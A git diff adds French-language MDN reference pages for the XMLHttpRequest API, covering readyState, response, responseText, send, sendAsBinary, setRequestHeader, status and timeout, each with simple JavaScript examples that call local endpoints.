+ <dd>Le corps de la réponse est en cours de réception. Si <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code> is "text"  ou une chaîne vide, <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseText">responseText</a></code> aura la réponse textuelle partielle au fur et à mesure de son chargement.</dd>
+ <dt>DONE</dt>
+ <dd>L'opération de récupération est terminée. Cela peut signifier que le transfert de données a été effectué avec succès ou a échoué.</dd>
+</dl>
+
+<div class="note">
+<p>Les noms des États sont différents dans les versions d'Internet Explorer antérieures à 11. Au lieu de <code>UNSENT</code>, <code>OPENED</code>,<code> HEADERS_RECEIVED</code>,<code> LOADING</code> and <code>DONE</code>, the names <code>READYSTATE_UNINITIALIZED</code> (0), <code>READYSTATE_LOADING</code> (1), <code>READYSTATE_LOADED</code> (2), <code>READYSTATE_INTERACTIVE</code> (3) et <code>READYSTATE_COMPLETE</code> (4) sont utilisés.</p>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.readyState); // readyState will be 0
+
+xhr.open('GET', '/api', true);
+console.log('OPENED', xhr.readyState); // readyState will be 1
+
+xhr.onprogress = function () {
+    console.log('LOADING', xhr.readyState); // readyState will be 3
+};
+
+xhr.onload = function () {
+    console.log('DONE', xhr.readyState); // readyState will be 4
+};
+
+xhr.send(null);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#states')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site https://github.com/mdn/browser-compat-data et nous envoyer une demande d'extraction.</div>
+
+<p>{{Compat("api.XMLHttpRequest.readyState")}}</p>
diff --git a/files/fr/web/api/xmlhttprequest/response/index.html b/files/fr/web/api/xmlhttprequest/response/index.html
new file mode 100644
index 0000000000..1e0987e584
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/response/index.html
@@ -0,0 +1,181 @@
+---
+title: XMLHttpRequest.response
+slug: Web/API/XMLHttpRequest/response
+tags:
+  - AJAX
+  - Reference
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/response
+---
+<div>{{draft}}</div>
+
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<div>La propriété <code>XMLHttpRequest.response</code> contient le corps de la réponse. Elle peut être de type ArrayBuffer, Blob, Document, un objet JavaScript ou une DOMString en fonction de la valeur de la propriété <code>XMLHttpRequest.responseType</code>. La réponse ( <code>Value of response</code> ) est nulle si la requête est incomplète ou n'as pas été effectué avec succès. Cependant, si <code>responseType</code> est "text" ou une chaine vide et tant que la requête est en cours ( dans l'état <em>loading</em> ), <code>response</code> peut contenir la réponse partielle.</div>
+
+<div> </div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Valeur de <code>responseType</code></td>
+   <td class="header">Type de donnée de la propriété <code>response</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td>{{domxref("DOMString")}} (valeur par défaut)</td>
+  </tr>
+  <tr>
+   <td><code>"arraybuffer"</code></td>
+   <td>{{domxref("ArrayBuffer")}}</td>
+  </tr>
+  <tr>
+   <td><code>"blob"</code></td>
+   <td>{{domxref("Blob")}}</td>
+  </tr>
+  <tr>
+   <td><code>"document"</code></td>
+   <td>{{domxref("Document")}}</td>
+  </tr>
+  <tr>
+   <td><code>"json"</code></td>
+   <td>
+    <p>Objet JavaScript depuis une réponse JSON.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"text"</code></td>
+   <td>{{domxref("DOMString")}}</td>
+  </tr>
+  <tr>
+   <td><code>"moz-blob"</code> {{non-standard_inline}}</td>
+   <td>
+    <p>Used by Firefox to allow retrieving partial {{domxref("Blob")}} data from progress events. This lets your progress event handler start processing data while it's still being received. {{gecko_minversion_inline("12.0")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"moz-chunked-text"</code>{{non-standard_inline}}</td>
+   <td>
+    <p>Similar to <code>"text"</code>, but is streaming. This means that the value in <code>response</code> is only available during dispatch of the <code>"progress"</code> event and only contains the data received since the last <code>"progress"</code> event.</p>
+
+    <p>When <code>response</code> is accessed during a <code>"progress"</code> event it contains a string with the data. Otherwise it returns <code>null</code>.</p>
+
+    <p>This mode currently only works in Firefox. {{gecko_minversion_inline("9.0")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"moz-chunked-arraybuffer"</code>{{non-standard_inline}}</td>
+   <td>
+    <p>Similar to <code>"arraybuffer"</code>, but is streaming. This means that the value in <code>response</code> is only available during dispatch of the <code>"progress"</code> event and only contains the data received since the last <code>"progress"</code> event.</p>
+
+    <p>When <code>response</code> is accessed during a <code>"progress"</code> event it contains a string with the data. Otherwise it returns <code>null</code>.</p>
+
+    <p>This mode currently only works in Firefox. {{gecko_minversion_inline("9.0")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>"ms-stream"{{non-standard_inline}}</td>
+   <td>
+    <p>Indique que la réponse est une partie d'un téléchargement d'un flux (?). Supporté uniquement pour les requêtes des téléchargements et disponible uniquement dans Internet Explorer.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note:</strong> À partir de Gecko 11.0 {{geckoRelease("11.0")}} et de WebKit build 528, ces navigateurs ne permettent plus l'utilisation de l'attribut <code>responseType</code> lors des requêtes synchrones. Cela renvoi l'erreur <code>NS_ERROR_DOM_INVALID_ACCESS_ERR</code>. Ce changement a été proposé au W3C afin d'être standardisé. </p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var url = 'somePage.html'; // une page locale
+
+function load(url, callback) {
+  var xhr = new XMLHttpRequest();
+
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState === 4) {
+      console.log(xhr.response); // Par défault une DOMString
+    }
+  }
+
+  xhr.open('GET', url, true);
+  xhr.send('');
+}
+
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-response-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/xmlhttprequest/responsetext/index.html b/files/fr/web/api/xmlhttprequest/responsetext/index.html
new file mode 100644
index 0000000000..da6938fa1d
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/responsetext/index.html
@@ -0,0 +1,73 @@
+---
+title: XMLHttpRequest.responseText
+slug: Web/API/XMLHttpRequest/responseText
+translation_of: Web/API/XMLHttpRequest/responseText
+---
+<div>{{draft}}</div>
+
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">La lecture seule {{domxref("XMLHttpRequest")}} propriété  <strong><code>responseText</code></strong> renvoie le texte reçu d'un serveur suite à l'envoi d'une requête.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">var <var>resultText</var> = <var>XMLHttpRequest</var>.responseText;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("DOMString")}} qui contient soit les données textuelles reçues à l'aide du<code>XMLHttpRequest</code> ou <code>null</code> si la demande a échoué ou <code>""</code> si la demande n'a pas encore été envoyée en appelant {{domxref("XMLHttpRequest.send", "send()")}}.</p>
+
+<p>Lors du traitement d'une requête asynchrone, la valeur de <code>responseText</code> reçoit toujours le contenu actuel du serveur, même s'il est incomplet car les données n'ont pas encore été complètement reçues.</p>
+
+<p>Vous savez que tout le contenu a été reçu lorsque la valeur de {{domxref("XMLHttpRequest.readyState", "readyState")}} deviens {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (<code>4</code>), et {{domxref("XMLHttpRequest.status", "status")}} becomes 200 (<code>"OK"</code>).</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Le {{domxref("XMLHttpRequest.responseType")}} n'est défini ni sur la chaîne vide ni sur "texte". Étant donné que la propriété responseText n'est valide que pour le contenu texte, toute autre valeur est une condition d'erreur.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// If specified, responseType must be empty string or "text"
+xhr.responseType = 'text';
+
+xhr.onload = function () {
+    if (xhr.readyState === xhr.DONE) {
+        if (xhr.status === 200) {
+            console.log(xhr.response);
+            console.log(xhr.responseText);
+        }
+    }
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responsetext-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.XMLHttpRequest.responseText")}}</p>
diff --git a/files/fr/web/api/xmlhttprequest/send/index.html b/files/fr/web/api/xmlhttprequest/send/index.html
new file mode 100644
index 0000000000..507b4b7731
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/send/index.html
@@ -0,0 +1,135 @@
+---
+title: XMLHttpRequest.send()
+slug: Web/API/XMLHttpRequest/send
+tags:
+  - AJAX
+  - API
+  - Besoin d'exemples
+  - Besoin de Contenu
+  - Method
+  - References
+  - Requête XMLHttp
+  - XHR
+  - requête HTTP
+  - requête XHR
+  - send
+translation_of: Web/API/XMLHttpRequest/send
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">La méthode  {{domxref("XMLHttpRequest")}} <code><strong>send()</strong></code> envoie la requête au serveur.  Si la requête est asynchrone (elle l'est par défaut), la méthode envoie un retour dés que la requête est partie et le résultat est intégré en utilisant les évènements.</span>En cas de requête synchrone, elle ne renvoie rien tant que la réponse n'est pas retournée.</p>
+
+<p><code>send()</code> accepte un paramètre optionnel qui qui vous permet de spécifier le corps de la requête; c'est principalement utilisé pour les requêtes comme  {{HTTPMethod("PUT")}}. Si la méthode est {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, le paramètre <code>body</code> est ignoré et le corps de la requête est fixé à <code>null</code>.</p>
+
+<p>Si aucun "header"{{HTTPHeader("Accept")}} n'a été paramétré dans {{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}}, un "header" <code>Accept</code> avec le type <code>"*/*"</code> (tous types) est envoyé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>XMLHttpRequest</var>.send(<var>body</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>body</code> {{optional_inline}}</dt>
+ <dd>Le corps des données à envoyer dans la requête XHR. Cela peut être :
+ <ul>
+  <li>Un {{domxref("Document")}}, dans quel cas il est sérialisé avant d'être envoyé.</li>
+  <li>Un  <code>XMLHttpRequestBodyInit</code> , dont le which <a href="https://fetch.spec.whatwg.org/#bodyinit">standard </a><a href="https://fetch.spec.whatwg.org/#bodyinit">Fetch</a> peut être un  {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, ou un objet  {{domxref("USVString")}} .</li>
+  <li><code>null</code></li>
+ </ul>
+ Si la valeur du corps n'est pas spécifiée, la valeur par défaut <code>null</code> est employée.</dd>
+</dl>
+
+<p>La meilleure manière d'envoyer du contenu binaire (par exemple dans l'upload de fichiers) est d'utiliser un {{domxref("ArrayBufferView")}} ou  {{domxref("Blob")}} en conjonction avec la méthode <code>send()</code>.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td><code>send()</code> a déjà été invoquée pour la requête, et/ou celle-ci est incomplète.</td>
+  </tr>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>Le type de ressource à récupérer est un <strong>BLOB</strong>, <em>(binary large object</em>) , et la méthode n'est pas <code>GET</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple_GET">Exemple: GET</h2>
+
+<pre class="brush: js notranslate"><code>var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.onload = function () {
+  // Requête finie, traitement ici.
+};
+
+xhr.send(null);
+// xhr.send('string');
+</code>// <code>xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send(document);</code>
+</pre>
+
+<h2 id="Example_POST">Example: POST</h2>
+
+<pre class="brush: js notranslate"><code>var xhr = new XMLHttpRequest();
+xhr.open("POST", '/server', true);
+
+//Envoie les informations du header adaptées avec la requête
+xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+
+xhr.onreadystatechange = function() { //Appelle une fonction au changement d'état.
+    if (this.readyState === XMLHttpRequest.DONE &amp;&amp; this.status === 200) {
+// Requête finie, traitement ici.
+    }
+}
+xhr.send("foo=bar&amp;lorem=ipsum");
+// xhr.send(new Int8Array());
+// xhr.send(document);</code>
+</pre>
+
+<h2 id="Spécificités">Spécificités</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specificité</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-send()-method', 'send()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site<a href="/fr/docs/"> https://github.com/mdn/browser-compat-data</a> et nous envoyer une demande d'extraction.</div>
+
+<div>{{Compat("api.XMLHttpRequest.send")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest">L'utilisation de XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML dans XMLHttpRequest</a></li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequest/sendasbinary/index.html b/files/fr/web/api/xmlhttprequest/sendasbinary/index.html
new file mode 100644
index 0000000000..d9414ee78c
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/sendasbinary/index.html
@@ -0,0 +1,49 @@
+---
+title: XMLHttpRequest.sendAsBinary()
+slug: Web/API/XMLHttpRequest/sendAsBinary
+tags:
+  - HTTP
+  - Méthode
+  - Non-standard
+  - Obsolete
+  - Reference
+  - XHR
+translation_of: Web/API/XMLHttpRequest/sendAsBinary
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">La méthode <code><strong>sendAsBinary()</strong></code>, rattachée à l'interface {{domxref("XMLHttpRequest")}} est une variante de la méthode {{domxref("XMLHttpRequest.send", "send()")}} qui envoie des données au format binaire. <u><strong>Cette méthode est désormais obsolète</strong></u>. En effet, la méthode <code>send()</code> prend désormais en charge la transmission de données binaires</span>et devrait être utilisée pour cet usage.</p>
+
+<p>Cette méthode rend possible <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">la lecture et <strong>l'upload</strong> de tout type de fichier</a> et la <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">conversion en chaîne </a>des données brutes.</p>
+
+<div class="warning">
+<p><strong>Attention :</strong> Cette méthode est dépréciée et ne devrait plus être utilisée. Privilégiez plutôt la méthode <code>send()</code>, qui prend désormais en charge l'envoi de données binaires.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.sendAsBinary(<em>binaryString</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>binaryString</code></dt>
+ <dd>Une chaîne de caractères {{domxref("DOMString")}} encodant le contenu binaire à envoyer. La chaîne binaire peut être construite grâce à la méthode {{domxref("FileRequest.readAsBinaryString", "readAsBinaryString()")}} de {{domxref("FileReader")}}. La chaîne de caractères est convertie en binaire pour le transfert en retirant l'octet le plus haut de chaque caractère.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.XMLHttpRequest.sendAsBinary")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest">Utiliser <code>XMLHttpRequest</code></a></li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequest/setrequestheader/index.html b/files/fr/web/api/xmlhttprequest/setrequestheader/index.html
new file mode 100644
index 0000000000..0c42055656
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/setrequestheader/index.html
@@ -0,0 +1,66 @@
+---
+title: XMLHttpRequest.setRequestHeader()
+slug: Web/API/XMLHttpRequest/setRequestHeader
+translation_of: Web/API/XMLHttpRequest/setRequestHeader
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>La méthode <code><strong>setRequestHeader()</strong></code> de l'objet {{domxref("XMLHttpRequest")}} permet d'éditer le header d'une requête HTTP. Vous devez appeler la méthode <code>setRequestHeader()</code>, après la méthode {{domxref("XMLHttpRequest.open", "open()")}}, et avant {{domxref("XMLHttpRequest.send", "send()")}}. Si vous faite appel plusieurs fois à <code>setRequestHeader()</code> dans une même requête, tout sera combiné au sein d'un même header.</p>
+
+<p>A chaque fois que vous appellez <code>setRequestHeader()</code>, son contenu est ajouté à la fin du header existant.</p>
+
+<p>Si aucun {{HTTPHeader("Accept")}} n'a été configurer avec cette méthode, un <code>Accept</code> header avec le type <code>"*/*"</code> sera envoyé avec la requête lorsque {{domxref("XMLHttpRequest.send", "send()")}} sera appellée.</p>
+
+<p>Pour des raisons de sécurité, certain header ne peuvent être manipulés que par le user agent. Ceux-ci contiennent les paramètres {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  et {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Dans certain cas, vous pourrez rencontrer l'erreur / exception "<strong>not allowed by Access-Control-Allow-Headers in preflight response</strong>" quand vous enverez une requête cross domains. Dans ce cas, vous devrez configurer {{HTTPHeader("Access-Control-Allow-Headers")}} dans votre réponse HTTP <u>coté serveur</u>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.setRequestHeader(<var>header</var>, <var>value</var>)
+</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>Le paramètre du header.</dd>
+ <dt><code>value</code></dt>
+ <dd>La valeur de ce paramètre.</dd>
+</dl>
+
+<h3 id="Valeurs_de_retour">Valeurs de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilitée_avec_les_navigateurs">Compatibilitée avec les navigateurs</h2>
+
+<div class="hidden">La table de compatibilité présente ici est générée d'après une base de donnée. Si vous voulez y contribuer, rendez-vous sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et demandée une pull request.</div>
+
+<p>{{Compat("api.XMLHttpRequest.setRequestHeader")}}</p>
+
+<h2 id="A_voir_aussi">A voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequest/status/index.html b/files/fr/web/api/xmlhttprequest/status/index.html
new file mode 100644
index 0000000000..cfac1c97e1
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/status/index.html
@@ -0,0 +1,70 @@
+---
+title: XMLHttpRequest.status
+slug: Web/API/XMLHttpRequest/status
+translation_of: Web/API/XMLHttpRequest/status
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>La propriété en lecture seule XMLHttpRequest.status renvoie le code d'état HTTP numérique de la réponse de XMLHttpRequest.</p>
+
+<p>Avant que la demande ne se termine, la valeur du statut est 0. Les navigateurs signalent également un statut de 0 en cas d'erreurs XMLHttpRequest.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+console.log('UNSENT: ', xhr.status);
+
+xhr.open('GET', '/server');
+console.log('OPENED: ', xhr.status);
+
+xhr.onprogress = function () {
+  console.log('LOADING: ', xhr.status);
+};
+
+xhr.onload = function () {
+  console.log('DONE: ', xhr.status);
+};
+
+xhr.send();
+
+/**
+ * Outputs the following:
+ *
+ * UNSENT: 0
+ * OPENED: 0
+ * LOADING: 200
+ * DONE: 200
+ */
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-status-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site https://github.com/mdn/browser-compat-data et nous envoyer une demande d'extraction.</div>
+
+<p>{{Compat("api.XMLHttpRequest.status")}}</p>
+
+<p>Voir aussi</p>
+
+<ul>
+ <li>Liste des <a href="/en-US/docs/Web/HTTP/Response_codes">HTTP response codes</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequest/timeout/index.html b/files/fr/web/api/xmlhttprequest/timeout/index.html
new file mode 100644
index 0000000000..ccd4842f60
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/timeout/index.html
@@ -0,0 +1,63 @@
+---
+title: XMLHttpRequest.timeout
+slug: Web/API/XMLHttpRequest/timeout
+tags:
+  - AJAX
+  - API
+  - Propriété
+  - Reference
+  - XHR
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/timeout
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>La propriété <code><strong>XMLHttpRequest.timeout</strong></code> est un <code>unsigned long</code> (un entier long, non-signé) représentant la durée, en millisecondes, qu'une requête peut prendre avant d'être automatiquement terminée. Par défaut, la valeur est 0 et il n'y pas de <em>timeout</em>. Lorsqu'une requête expire, un évènement <code><a href="/fr/docs/Web/API/XMLHttpRequest/timeout_event">timeout</a></code> est déclenché.</p>
+
+<div class="note"><strong>Note :</strong> Pour un exemple, voir <a href="/fr/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests#Example_using_a_timeout">Utiliser la propriété <code>timeout</code> avec une requête asynchrone</a>.</div>
+
+<div class="note"><strong>Note :</strong> Ces délais d'expiration ne devraient pas être utilisés pour les requêtes <code>XMLHttpRequest</code> synchrones dans <a href="/fr/docs/Glossaire/Environnement_de_document">un environnement de document</a> : ils déclencheront une exception <code>InvalidAccessError</code>. On ne peut donc pas utiliser de <em>timeout</em> pour les requêtes synchrones avec une fenêtre parente.</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.timeout = 2000; // durée en millisecondes
+
+xhr.onload = function () {
+  // Requête terminée. On traite le résultat ici.
+};
+
+xhr.ontimeout = function (e) {
+  // Requête qui a expiré. On traite ce cas.
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-timeout-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Standard évolutif WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.XMLHttpRequest.timeout")}}</p>
+
+<p>Pour Internet Explorer, la propriété <code>timeout</code> ne peut être définie qu'après avoir appelé la méthode <code><a href="/fr/docs/Web/API/XMLHttpRequest/open">open()</a></code> et avant d'appeler la méthode <code><a href="/fr/docs/Web/API/XMLHttpRequest/send">send()</a></code>.</p>
diff --git a/files/fr/web/api/xmlhttprequest/utiliser_xmlhttprequest/index.html b/files/fr/web/api/xmlhttprequest/utiliser_xmlhttprequest/index.html
new file mode 100644
index 0000000000..fc3bb319ee
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/utiliser_xmlhttprequest/index.html
@@ -0,0 +1,755 @@
+---
+title: Utiliser XMLHttpRequest
+slug: Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest
+tags:
+  - AJAX
+  - File API
+  - FormData
+  - JXON
+  - Progression
+  - Téléchargement
+  - XML
+  - XMLHttpRequest
+  - upload
+translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+---
+<p> </p>
+
